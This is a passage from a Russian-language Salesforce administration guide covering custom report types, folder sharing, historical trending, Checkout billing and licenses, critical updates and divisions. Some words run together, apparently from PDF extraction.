Внимание: Пользователи могут просматривать поля сводного резюмирования в отчетах, содержащих данные
из недоступных полей. Например, пользователь, которому недоступно поле продукта возможности «Цена»,
можетпросматриватьполеотчетовповозможностям «Итоговая цена» приналичиидоступакполю «Итоговая
цена».

7. Чтобыпереименовать или определить поля, выбранные по умолчанию, выберите как минимумоднополе и нажмите
кнопку «Редактировать свойства».

• Установите флажок «Флажок установлен по умолчанию» напротив нужных полей.

Поля, выбранные по умолчанию, автоматически отображают значок флажка ( ) в макете поля для типа
настраиваемого отчета.

• Измените текст в поле «Показать как:» напротив нужного поля.

Прим.: Переименованные поля стандартных объектов и переименованные стандартные объекты не
отображаются переименованными в макете поля для типа настраиваемого отчета. Тем не менее,
переименованные поля стандартных объектов и переименованные стандартные объекты отображают свои
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новые имена в отчете и на странице предварительного просмотра, доступной при нажатии кнопки
«Предварительный просмотр макета».

8. Чтобыпереименоватьраздел, щелкнитессылку «Правка»напротивнужногораздела. Чтобысоздатьраздел, нажмите
кнопку «Создать раздел».

9. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Создание типа настраиваемого отчета

Управление типами настраиваемых отчетов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или
обновления типов
настраиваемых отчетов:
• «Управление типами

настраиваемых отчетов»

Для удаления типов
настраиваемых отчетов:
• «Изменение всех

данных»

Созданный тип настраиваемого отчета доступен для настройки, редактирования и
удаления.

Введите строку «Типы отчетов» в поле «Быстрый поиск» в меню «Настройка», затем
выберите пункт «Типы отчетов», чтобы открыть страницу «Все типы настраиваемых
отчетов», накоторойотображаетсясписоксозданныхворганизациитиповнастраиваемых
отчетов.

• Чтобы открыть страницу со списком, выберите нужное списковое представление в
раскрывающемся списке «Просмотр». Чтобы создать собственное настраиваемое
представление, щелкните ссылку «Создать новое представление».

• Чтобы создать тип настраиваемого отчета, нажмите кнопку «Создать тип
настраиваемого отчета».

• Чтобы обновить имя, описание, категорию и статус развертывания типа
настраиваемого отчета, щелкните ссылку «Правка» напротив имени нужного типа
настраиваемого отчета.

• Чтобыудалитьтипнастраиваемогоотчета, щелкнитессылку «Удал.»напротивимени
нужноготипанастраиваемогоотчета. Вседанные, хранящиеся в типенастраиваемого
отчета, удаляются без возможности восстановления.

Важное замечание: Удалениетипанастраиваемогоотчетаинициируетудаление
всех производных отчетов. Любые просматриваемые компоненты панели
мониторинга, созданныенаосновеотчета, которыйиспользует удаленныйтип
настраиваемого отчета, отображают сообщение об ошибке.

• Чтобыпросмотретьподробныесведенияо типенастраиваемогоотчетаи выполнить
дополнительные настройки, щелкните имя нужного типа настраиваемого отчета.

Ниже перечислены действия, доступные после выбора типа настраиваемого отчета.

– Обновите взаимосвязи объекта, отображаемые в отчете при выполнении из типа настраиваемого отчета.

– Чтобы выбрать стандартные и настраиваемые поля, доступные для отображения при создании или выполнении
из типа настраиваемого отчета, измените макет страницы типа настраиваемого отчета.

– Чтобыпросмотретьпорядокотображенияполейвотчетах, выполненныхиз типанастраиваемогоотчета, нажмите
кнопку «Предварительный просмотр макета» в разделе «Поля, доступные для отчетов».

– Чтобы клонировать тип настраиваемого отчета, нажмите кнопку «Клонировать».

– Переименуйте поля в отчете.
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– Определите поля, которые должны быть выбраны по умолчанию.

Тип редактируемого отчета отображается над именем отчета в конструкторе отчетов. Тип отчета не отображается на
странице запуска отчета.

1. Тип отчета

2. Имя отчета

Прим.: Если организация использует средство перевода, то типы настраиваемых отчетов могут быть переведены
для зарубежных пользователей.

Ограничения для типов отчетов
Данный раздел содержит некоторые ограничения, позволяющие гарантировать высокую производительность и
доступность типов настраиваемых отчетов.

• Каждыйтипнастраиваемогоотчетаможет содержатьнеболее 1 000 полей.Счетчиквверхудействия «Макет страницы»
отображает текущее количество добавленных полей. Макет, содержащий слишком большое количество полей, не
может быть сохранен.

• Ниже перечислены поля, которые не могут быть добавлены в типы настраиваемых отчетов.

– Поля расписаний продуктов

– Поля журналов

– Поля организаций-лиц

– Поле «Длительность» для обращений и возможностей

• Типнастраиваемогоотчетаможетсодержатьнеболее 60 ссылокнаобъекты.Например, приограничениитипаотчета
четырьмя взаимосвязями объекта поле поиска позволяет выбирать поля дополнительных 56 объектов. Тем не менее,
при выполнении отчета, созданного на основе типа настраиваемого отчета и содержащего столбцы не менее, чем из
20 разных объектов, отображается сообщение об ошибке.

• Ссылки на объекты могут использоваться как основные четыре объекта, как источники полей посредством поиска
или как объекты, используемые для просмотра взаимосвязей. Каждый ссылочныйобъект учитывается ограничением,
даже если его поля не выбраны. Например, если поиск выполняется в следующем порядке: «организация» —
«ответственный за организацию» — «роль ответственного за организацию», нополя ответственного за организацию
не выбраны, то все ссылочные объекты учитываются заданным ограничением, равным 60.

• Отчеты, созданные на основе типов настраиваемых отчетов по обращениям, не содержат раскрывающегося списка
«Единицы», позволяющего просматривать значения некоторых полей обращений по часам, минутам или дням.

• Типы отчетов, связанные с настраиваемыми объектами в списке «Удаленные настраиваемые объекты», учитываются
ограничениями по количеству типов настраиваемых отчетов, доступному для создания.

СМ. ТАКЖЕ:

Отчеты по возможностям
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Включение расширенного общего доступа к отчетам и панелям мониторинга

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра параметра
общего доступа к папке
аналитики:
• «Просмотр настройки и

конфигурации»

Для изменения параметра
общего доступа к папке
аналитики:
• «Настройка

приложения»

При включении общего доступа к аналитике система Salesforce преобразует текущие
уровни доступа пользователей к папкам в новые более подробные уровни доступа.

Прим.: Общий доступ к папке аналитики автоматически предоставляется
организациям, созданным после выпуска Summer'13 системы Salesforce. Чтобы
предоставить общий доступ пользователям организации, созданной до выпуска
Summer'13, выполните указанные ниже действия.

При включении общего доступа к аналитике всем пользователям организации по
умолчаниюпредоставляется уровеньдоступа «Гость» кобщедоступнымпапкамотчетов
и панелей мониторинга. Чтобы расширить доступ пользователей к отдельной папке,
рекомендуемназначить уровень доступа «Менеджер» или «Редактор» илипредоставить
полномочия администратора. Доступ каждого пользователя к папкам определяется
уровнем доступа к папке и полномочиями, предоставленными до включения
расширенного общего доступа к папкам.

1. Вразделе «Настройка» введите «Общий доступ к папкам» в поле «Быстрый поиск»,
затем выберите «Общий доступ к папкам».

2. Установите флажок «Включить уровни доступа для предоставления общего
доступа к папкам отчетов и панелей мониторинга».

3. Щелкните «Общий доступ к папкам отчетов и панелей мониторинга».

Важное замечание: Возврат к предыдущей модели общего доступа к папкам
инициируетвосстановлениеисходногосостояниятекущихпапокотчетовипанелей
мониторинга.

• Папка, созданная до включения расширенного общего доступа, возвращает
свойства и параметры общего доступа к исходному состоянию.

• Папка, созданнаяпосле включениярасширенногообщегодоступа, становится
скрытой, а всепараметрыобщегодоступа удаляются. Темнеменее, полномочия
администратора сохраняются.
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Настройка архивного трендинга

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и удаления
отчетов:
• «Создание и настройка

отчетов»

И

«Конструктор отчетов»

Чтобы предоставить пользователям доступ к отчетам по архивным трендам,
воспользуйтесьфильтрамидлянастройкиобъема собираемыхданных. Затем выберите
нужные поля.

Объем данных архивных трендов должен быть достаточным для составления отчетов,
но не может превышать установленных ограничений. Определите поля, содержащие
полезные архивные данные, и поля, содержащие маловажные данные.

Важное замечание: Сохранениеархивныхданныхувеличиваетобъемсохраняемых
данных. Конечный результат определяется способами работы организации.
Например, приобновлениистатуса типичнойзаписивозможностикаждые 1-2 дня
объем данных архивного трендинга для поля «Статус» объекта «Возможность»
превышает объем данных, сохраняемых при изменении записи один или два раза
вмесяц. Приналичиитрендовыхобъектов, которыемогутпревыситьустановленное
ограничение по размеру данных, пользователю отправляется соответствующее
электронное предупреждение.

1. Введите строку «Архивный трендинг» вполе «Быстрый поиск» вменю «Настройка»,
затем выберите пункт «Архивный трендинг».

2. Выберите нужный объект.

Выберите объект «Возможности», «Обращения» или «Элемент прогнозирования» и
не более трех настраиваемых объектов. Архивный трендинг доступен только при
использовании совместных прогнозов и недоступен для настраиваемого
прогнозирования.

3. Установите флажок «Включить архивный трендинг».

4. Чтобызадатьобщийобъемданных, доступныйдлясозданияотчетовпоархивнымтрендам, воспользуйтесьфильтрами
раздела «Настроить данные».

Уточнение архивных данных доступно только для возможностей, обращенийинастраиваемыхобъектов. Доступные
данные для элементов прогнозирования выбираются автоматически.

Например, чтобы уточнить данные, сохраненные для отчетов по возможностям, настройте фильтр «"Этап" "не
равно" "Поиск потенциальных клиентов"» для исключения наименее вероятных сделок.

5. Выберите не более восьми полей в разделе «Выбрать поля».

Данные поля могут выбираться при создании отчетов по архивному трендингу.

• Привыбореобъекта «Возможности» системаавтоматическивыбираетследующиепятьполей: «Стоимость», «Дата
закрытия», «Категория прогноза», «Вероятность» и «Этап». Пользователь может выбрать еще три поля.

• При выборе объекта «Элемент прогнозирования» система автоматически выбирает все восемь доступных полей.

После включения архивного трендинга новый тип настраиваемого отчета доступен при создании новых отчетов.
Включение архивного трендинга для нового поля инициирует автоматическое добавление данного поля в макет отчета
по архивному трендингу.

Ниже перечислены последствия выключения архивного трендинга.

• Выключение архивного трендинга для поля инициирует сокрытие соответствующих архивных данных. Повторное
включениеархивноготрендингадляполяинициируетдоступностьсоответствующихархивныхданныхдляпросмотра,
включая данные, созданные после выключения архивного трендинга.

499

Настройка отчетов и панелей мониторингаНастройка и обслуживание организации Salesforce



• Выключение архивного трендинга для объекта инициирует удаление всех соответствующих архивных данных и
параметров конфигурации. Аименно: связанный тип отчета по архивному трендингу и любые производные отчеты.

• Выключение архивного трендинга для поля и его последующее удаление инициируют недоступность архивных
данных поля даже после повторного включения архивного трендинга.

Прим.:

• Архивныеданные, доступныекаждомупользователю, определяютсядоступнымиполями. Изменениеполномочий,
отменяющее доступность конкретного поля, инициирует недоступность его архивных данных.

• Каждоеархивноеполеиспользуетпараметрыбезопасностисоответствующегородительскогополя. Изменение
полномочий для родительского поля инициирует изменение полномочий для архивного поля.

Обновление мастера отчетов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения параметров
отчетов и панелей
мониторинга:
• «Настройка

приложения»

Конструкторотчетов, являющийсяполнофункциональнымграфическимредактором, —
это стандартныйинструментдля созданияиредактированияотчетов. Еслиорганизация
все еще использует устаревший мастер отчетов, рекомендуем включить поддержку
конструктора отчетов.

• Доступ к конструктору отчетов по умолчанию предоставляется всем профилям.
(Полномочие «Конструктор отчетов» может отображаться в наборах полномочий
ипрофилях, а такжевAPI-объектах PermissionSet и Profile, несмотрянапереопределение
данных параметров при обновлении.)

• Устаревший мастер отчетов отображается только в режиме доступности.

• Конструкторотчетовдоступендляорганизаций, использующихверсии Group Edition
и Professional Edition.

• Наличие нового типа диаграммы — точечной.

Последняя версия конструктора отчетов автоматически доступна только новым
организациям. Еслираздел «Обновлениеконструктораотчетов» отсутствуетна странице
«Параметры интерфейса пользователя», то данное обновление уже установлено в
организации.

Конструктор отчетов не может быть включен путем назначения полномочия
«Конструктор отчетов» всем пользователям организации посредством профилей или наборов полномочий. Чтобы
включить конструктор отчетов для организации, выполните указанные ниже действия.

Важное замечание: Данное обновление не влияет на текущие отчеты. После установки обновления устаревший
мастер отчетов будет недоступен.

1. Введите строку «Отчеты» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Параметры отчетов
и панелей мониторинга».

2. Просмотрите раздел «Обновление конструктора отчетов» и нажмите кнопку «Включить». Если данная кнопка не
отображается, то конструктор отчетов уже включен во всей организации.

3. Для подтверждения нажмите кнопку «Да, установить конструктор отчетов для всех пользователей».
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Управление счетами и лицензиями

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Система Checkout содержит сведения об учетной записи Salesforce, включая лицензии,
сведения для выставления счета, заказы, счета и выписки.

ЧтобыоткрытьCheckout, введитестроку «Checkout» вполе «Быстрый поиск» вменю
«Настройка», затем выберите пункт «Checkout» и нажмите «Перейти к Checkout».

Прим.: Полномочие «Управление расчетами» предоставляет пользователям
автоматический доступ к системе Checkout. Данные пользователи могут
предоставлять доступ другим пользователям организации (см. раздел
«Предоставление доступа к Checkout» на странице 504).

Ниже перечислены действия, доступные в системе Checkout.

• Заказ дополнительных лицензий и продуктов.

• Изменение сведений для выставления счета по активному контракту.

• Изменение сведений о кредитной карте, связанной с активным контрактом.

• Просмотр заказов и счетов организации.

• Просмотрранеесохраненныхсмет (сметы, созданныевсистемеSalesforce, исметы, созданныеторговымпредставителем).

• Размещение заказов на приобретение новых продуктов.

• Обращение за помощью к представителю Salesforce.

• Регистрация обращения по любому вопросу относительно Checkout.

For detailed instructions on using Checkout, see the Checkout User Guide.

Приобретение дополнительных лицензий для пользователей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Personal Edition, Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для приобретения
дополнительных лицензий
пользователя:
• «Управление расчетами»

Пользователи, имеющие доступ к системе Checkout, могут добавлять лицензии на
протяжениивсегосрокадействияконтракта. Еслиорганизациянеимеетсамостоятельного
доступа к системе Checkout, отправьте запрос представителю Salesforce.

Прим.: Чтобы связаться с менеджеромпо работе с клиентами Salesforce, щелкните
ссылку «Запросить помощь» на любом этапе процесса создания сметы.

1. Вразделе «Настройка» введите Checkout вполе «Быстрый поиск», затемвыберите
Checkout ищелкните «Перейти к Checkout».

2. Щелкните «Добавить продукты».

3. Чтобы просмотреть все продукты, поддерживаемые организацией, щелкните «Все
доступные продукты».

4. Введите нужное количество подписок на лицензию.

Оплата за подписку на лицензии, приобретенные в середине биллингового цикла,
рассчитывается пропорционально количеству оставшихся дней. Поле «Итоговая
цена» содержитзначение «Ежемесячная цена единицы продукта», соответствующее
сроку заказа, указанному над продуктами. Например, если срок действия подписок
по заказу составляет неполный год (с 14 мая 2013 года по 7 мая 2014 года), то поле
«Итоговая цена» содержит значение «Ежемесячная цена единицы продукта»,
соответствующее 11,8 месяцам.

5. Щелкните «Перейти к размещению заказа».
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6. Проверьте заказ и сведения о платеже. Чтобы изменить сведения, щелкните значок карандаша.

7. Прочтите и примите Основное соглашение о подписке, а также любые другие обязательные условия и соглашения.

В зависимости от контракта, заключенного с компанией Salesforce, и приобретаемых продуктов, система может
предлагать пользователю принять Особые условия контракта или Специальные условия.

8. Нажмите кнопку «Разместить заказ».

СМ. ТАКЖЕ:

Управление счетами и лицензиями

Предоставление доступа к Checkout

Удаление лицензий пользователя

Изменение сведений о выставлении счета вашей организации

Руководство пользователя Checkout

Преобразование пробной версии посредством Checkout

Удаление лицензий пользователя
Система Salesforce не поддерживает использование Checkout для сокращения количества лицензий, приобретенных
организацией.

Чтобы удалить лицензии, обратитесь к представителю Salesforce.

Прим.: Деактивация учетных записей пользователей не изменяет количество лицензий, подлежащих оплате.

СМ. ТАКЖЕ:

Управление счетами и лицензиями

Предоставление доступа к Checkout

Приобретение дополнительных лицензий для пользователей

Изменение сведений о выставлении счета вашей организации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Изменение сведений для выставления и оплаты счетов организации возможно только
при наличии доступа к системе Checkout. Если организация не имеет самостоятельного
доступа к системе Checkout, отправьте запрос представителю Salesforce.

1. Вменю «Настройка» введите «Checkout» вполе «Быстрый поиск», затемвыберите
«Checkout».

2. ЩелкнитеПерейти к Checkout.

3. Щелкните «Изменить адрес для счета по контракту».

4. При необходимости обновите адрес и контактные данные организации.

5. Нажмите кнопку «Сохранить».

For detailed instructions on using Checkout, see the Checkout User Guide.

СМ. ТАКЖЕ:

Управление счетами и лицензиями
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Изменение данных кредитной или дебетовой карты

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Изменение данных кредитной или дебетовой карты возможно только при наличии
доступа к системе Checkout. Если организация не имеет самостоятельного доступа к
системе Checkout, отправьте запрос представителю Salesforce.

Чтобы получить доступ к Checkout, в меню «Настройка» введите «Checkout» в поле
«Быстрый поиск», выберите «Checkout», затем щелкнитеПерейти к Checkout.

Дополнительныеинструкциипо изменениюсведений об оплате в системе Checkout см.
в Руководстве пользователя Checkout.

Прим.: Счет не может быть оплачен в интерактивном режиме. При наличии
задолженности денежные средства списываются с обновленной кредитной или
дебетовой карты в течение 24 часов. Чтобы оплатить счет посредством кредитной
карты, обратитесь в отдел обслуживания клиентов Salesforce.

СМ. ТАКЖЕ:

Управление счетами и лицензиями

Просмотр кредитных уведомлений, выписок по счету и счетов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition и
Unlimited Edition.

Кредитныеуведомления, выпискипосчетуисчетаорганизациимогутбытьпросмотрены
только при наличии доступа к системе Checkout. Если организация не имеет
самостоятельногодоступак системеCheckout, отправьте запроспредставителюSalesforce.

Страница сведений о кредитном уведомлении, выписке или счете позволяет
распечатывать доступные данные, регистрировать обращения и связываться с
представителями компании Salesforce.

Чтобы получить доступ к Checkout, в меню «Настройка» введите «Checkout» в поле
«Быстрый поиск», выберите «Checkout», затем щелкнитеПерейти к Checkout.

Прим.: Наличие начального сальдо счета определяется выбранным временным
интервалом. При необходимости откройте все платежи, счета и кредитные
уведомления для просмотра или печати.

ДополнительныеинструкциипоиспользованиюCheckoutсм. вРуководствепользователя
Checkout.

СМ. ТАКЖЕ:

Управление счетами и лицензиями
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Предоставление доступа к Checkout

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для предоставления доступа
к Checkout:
• «Управление расчетами»

Для редактирования
пользователей:
• «Управление

внутренними
пользователями»

Если в организации включена поддержка Checkout, то пользователям с полномочием
«Управлениерасчетами» предоставляется автоматическийдоступ. Данныепользователи
могут предоставлятьполномочия доступа другимпользователяморганизации. Система
Checkout позволяет пользователям приобретать лицензии Salesforce, лицензии на
приложения AppExchange и прочие связанные продукты. Кроме того, система Checkout
позволяет просматривать сметы, установленные продукты, заказы, счета, платежи и
контракты организации.

Чтобы предоставить пользователю доступ к Checkout, выполните указанные ниже
действия.

1. Введите строку «Пользователи» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Пользователи».

2. Чтобыоткрыть страницу сведенийопользователе, щелкнитеимя соответствующего
пользователя.

3. Нажмите кнопку «Правка».

4. Установитефлажок «Checkout: включено». Уведомлениеобактивацииучетной
записи Checkout будет отправлено пользователю по эл. почте.

СМ. ТАКЖЕ:

Управление счетами и лицензиями

Приобретение дополнительных лицензий для пользователей

Руководство пользователя Checkout

Критические обновления

ВЕРСИИ

Доступно в версиях:
Lightning Experience и
Salesforce Classic.

Доступно в версиях: все
версии.

Периодически компания Salesforce выпускает обновления, которые улучшают
производительность, логику и работу системы Salesforce, нопри этоммогут повлиять на
текущие настройки. Чтобы просмотреть доступные обновления для системы Salesforce,
выберитепункт «Критическиеобновления» вменю «Настройка». Крометого, система
отображает соответствующее сообщение при открытии меню «Настройка».

Каждомуобновлениюназначаетсядата, донаступлениякоторойономожетбытьвручную
активировано и деактивировано неограниченное количество раз. Таким образом,
пользователи могут оценить возможные последствия активации обновления и при
необходимости изменить соответствующие настройки. При наступлении даты
автоматической активации система Salesforce активирует обновление на постоянной основе.

Внимание: Компания Salesforce настоятельно рекомендует тестировать каждое обновление путем его активации в
безопасной среде разработчика или любой другой производственной среде в непиковые часы работы.

Для управления критическими обновлениями выберите пункт «Критические обновления» в меню «Настройка». На
этой странице можно просмотреть сводку, статус и дату автоматической активации для любого обновления, которое не
было активировано системой Salesforce на постоянной основе. Для просмотра подробных сведений об обновлении,
включая список настроек для организации, на которые оно может повлиять, щелкните по ссылке «Просмотр».
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Если для обновления доступна ссылка «Активировать», щелкните по ней, чтобы проверить обновление в безопасной
или производственной среде, прежде чем система Salesforce автоматически активирует его.

Примечания по использованию критических обновлений
• СистемаSalesforce анализируетнастройкиорганизациииопределяетвозможностьихизмененияврезультатеактивации

критического обновления. Обновление, которое не влияет на настройки организации, автоматически активируется
системой Salesforce.

• Система Salesforce активирует обновление на постоянной основе при наступлении запланированной даты
автоматической активации. Обновление, активированное автоматически, не может быть деактивировано.

• Страница сведений о любом обновлении содержит описание возможных последствий активации обновления и
способы решения возникших проблем.

• Система Salesforce отображает сообщение в том случае, еслименюнастройкииспользуется впервые после появления
критического обновления. Данное сообщение позволяет просмотреть обновление Salesforce незамедлительно,
отложить его просмотр на более поздний срок

Общие сведения о подразделениях

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Подразделения позволяют сегментировать данные организации в виде логических
разделов, увеличиваяэффективностьфункцийпоиска, составленияотчетовипросмотра
списковыхпредставлений. Например, создайтеотчет, содержащийвозможноститолько
для подразделения «СевернаяАмерика» ипозволяющийпросмотреть точные значения
продаждля группысбыта «СевернаяАмерика». Рекомендуемиспользоватьподразделения
организациям, содержащим большие объемы данных.

Прим.: Подразделения не ограничивают доступ пользователей к данным и не
могут использоваться для обеспечения безопасности.

Подразделения могут быть назначены пользователям и другим записям.

• «Подразделениенауровнезаписи»: подразделение — этополеотдельнойзаписи,
обозначающеепринадлежностьзаписикконкретномуподразделению. Записьможет
принадлежать подразделению, созданному администратором, или стандартному глобальному подразделению,
создаваемому автоматически при включении подразделений. Одновременно запись может принадлежать только
одному подразделению.

• «Стандартное подразделение»: пользователям назначается стандартное подразделение, применяемое к новым
организациям, интересам и настраиваемым объектам, поддерживающим подразделения.

• «Рабочее подразделение»: при наличии полномочия «В зависимости от подразделений» пользователи могут
выбиратьподразделениявраскрывающемсяспискенабоковойпанели. Вэтомслучаепоискибудут возвращать только
данные для текущего рабочего подразделения. При необходимости рабочее подразделение может быть изменено.
Если полномочие «В зависимости от подразделений» отсутствует, то пользователям всегда отображаются записи
всех подразделений.

Таблица ниже содержит сведения о влиянии подразделений на разные области системы.
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ОписаниеОбласть

При наличии полномочия «В зависимости от
подразделений»:

Поиск

• Функцияпоисканабоковойпанелипозволяетвыбирать
отдельное подразделение или все подразделения.

• Функция расширенного поиска позволяет выбирать
отдельное подразделение или все подразделения.

• Функция глобального поиска позволяет выполнять
поиск по отдельному подразделению или всем
подразделениям.

• Диалоговые окна поиска возвращают записи, которые
назначены подразделению, выбранному в
раскрывающемся списке диалогового окна поиска.

Прим.: Кроме того, любой поиск по конкретному
подразделению также инициирует поиск по
глобальномуподразделению. Например, результаты
поискапоподразделению «Западноеподразделение»
содержат записи, доступные как в западном, так и в
глобальном подразделениях.

Если полномочие «В зависимости от подразделений»
отсутствует, то результаты поиска всегда содержат записи
всех подразделений.

При наличии полномочия «В зависимости от
подразделений» списковыепредставлениясодержаттолько

Списковые представления

записи, которые назначены подразделению, выбранному
при создании или редактировании спискового
представления. Списковые представления выбранных
записей (например, «Моиоткрытыеобращения») содержат
записи всех подразделений.

Если полномочие «В зависимости от подразделений»
отсутствует, то списковые представления всегда содержат
записи всех подразделений.

Chatterнеподдерживаетподразделения. Например, система
не позволяет использовать отдельные ленты Chatter для
разных подразделений.

Chatter

Если пользователю предоставлено полномочие «В
зависимостиотподразделений», тоотчетможет содержать

Отчеты

всеилитолькоодноподразделение. Отчеты, использующие
стандартные фильтры (например, «Мои обращения» или
«Организации моей рабочей группы»), содержат записи
всех подразделений и не могут быть дополнительно
отфильтрованы по конкретному подразделению.
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Если полномочие «В зависимости от подразделений»
отсутствует, то отчеты всегда содержат записи всех
подразделений.

При просмотре страницы сведений о записи связанные
списки отображают все доступные связанные записи,
независимо от подразделения.

Просмотр записей и связанных списков

Присозданииорганизаций, интересовилинастраиваемых
объектов, поддерживающих подразделения, записям

Создание записей

автоматически назначается стандартное подразделение,
кроме случаев переопределения данного параметра.

Новым записям, связанным с организацией или другой
записью, которой уже назначено подразделение,
назначается текущее подразделение записи. Например,
новой записи настраиваемого объекта, являющегося
подробным во взаимосвязи «Основная — подробная» с
настраиваемым объектом, поддерживающим
подразделения, назначается подразделение основной
записи.

Новым записям, которые не связаны с другими записями
(например, личные возможности или контакты, не
связанные с организацией), автоматически назначается
глобальное подразделение.

При редактировании организаций, интересов или
настраиваемыхобъектов, поддерживающихподразделения,

Редактирование записей

пользователи могут изменять подразделения. Все записи,
связанные посредством взаимосвязи
«Основная — подробная», автоматически переносятся в
новоеподразделение. Например, контактыивозможности
переносятсявновоеподразделениесвязаннойорганизации,
а подробные настраиваемые объекты переносятся в новое
подразделение основной записи.

Приредактированиидругих типов записейподразделение
не может быть изменено.

Привключенииподразделенийдлянастраиваемогообъекта
система Salesforce автоматически назначает все записи
данного объекта глобальному подразделению.

При создании записи настраиваемого объекта:

Настраиваемые объекты

• Если настраиваемый объект поддерживает
подразделения, то записи назначается стандартное
подразделение.

• Если настраиваемый объект является подробным во
взаимосвязи «Основная — подробная» снастраиваемым
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объектом, поддерживающимподразделения, то записи
назначается подразделение основной записи.

Припреобразованиивзаимосвязи «Поиск» во взаимосвязь
«Основная — подробная» подробные записи теряют

Взаимосвязи

текущее подразделение и наследуют подразделение
основной записи.

При преобразовании взаимосвязи
«Основная — подробная» во взаимосвязь «Поиск»
подразделение любой подробной записи определяется
предыдущей основной записью.

При удалении взаимосвязи «Основная — подробная»
подразделение любой подробной записи определяется
предыдущей основной записью.

СМ. ТАКЖЕ:

Настройка подразделений

Создание и редактирование подразделений

Изменение подразделения по умолчанию для пользователей

Изменение рабочего подразделения

Пакетный перенос записей между подразделениями

Создание отчетов посредством подразделений
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Настройка подразделений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или
редактирования
подразделений:
• «Изменение всех

данных»

Создание подразделений и назначение записей подразделениям позволяют
гарантировать эффективную категоризацию данных.

Прежде чем использовать подразделения, рекомендуем включить их поддержку в
организации. Чтобывключитьподразделенияприиспользованиистандартногообъекта,
обратитесь в компанию Salesforce. Чтобы включить подразделения при использовании
настраиваемых объектов, установитефлажок «Включить подразделения» на странице
определения настраиваемого объекта.

1. Определите нужные подразделения на основе способа сегментирования данных.
Например, одно подразделение может назначаться всем записям, принадлежащим
группе сбыта «СевернаяАмерика», а другое — всем записям, принадлежащимгруппе
сбыта «Европа».

100

2. Создайте подразделения для организации. По умолчанию все текущие записи
назначаютсяглобальномуподразделению. Принеобходимостиизменитестандартное
имяподразделения, создайтедополнительныеподразделенияилиперенесите записи
между подразделениями.

3. Перенесите интересы, организации и настраиваемые объекты в соответствующие
подразделения. Подразделение, назначенное записям, такженазначается связанным
записям.
Например, при изменении подразделения, назначенного организации, связанные
записи (например, контакты и возможности) назначаются тому же подразделению.

4. Добавьте поля подразделений в макеты страниц.

5. Добавьте подразделения в параметры безопасности поля.

6. Выберите стандартное подразделение для всех пользователей. Новым организациям и интересам назначается
стандартное подразделение пользователя, кроме случаев выбора другого подразделения. Новым записям, связанным
с текущими записями, назначается подразделение текущей записи.

7. Включите полномочие «В зависимости от подразделений» для пользователей, которые должны иметь право на
ограничение списковых представлений, поисков и отчетов по подразделению.

Пользователи, которым не предоставлено данное полномочие, но доступно стандартное подразделение, могут
просматриватьполяподразделений, изменятьподразделениезаписиивыбиратьподразделениеприсозданиизаписей.

СМ. ТАКЖЕ:

Общие сведения о подразделениях

Создание и редактирование подразделений

Пакетный перенос записей между подразделениями

Изменение подразделения по умолчанию для пользователей
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Создание и редактирование подразделений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания или
редактирования
подразделений:
• «Изменение всех

данных»

Создание логических подразделений, предназначенных для сегментирования данных
организации, позволяет упростить поиск и составление отчетов по записям.

В организации должна быть включена поддержка подразделений.

По умолчанию всем записям автоматически назначается глобальное подразделение,
которое при необходимостиможет быть изменено. Разрешается создавать не более 100
подразделений, включая неактивные.

1. Введите строку «Управление подразделениями» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Управление подразделениями».

2. Чтобысоздатьподразделение, нажмите кнопку «Создать». Чтобыизменить текущее
подразделение, щелкните ссылку «Правка».

3. Введите имя подразделения.

4. Чтобы активировать подразделение, установите флажок «Активно».

Прим.: Подразделение, которому назначены пользователи или очереди
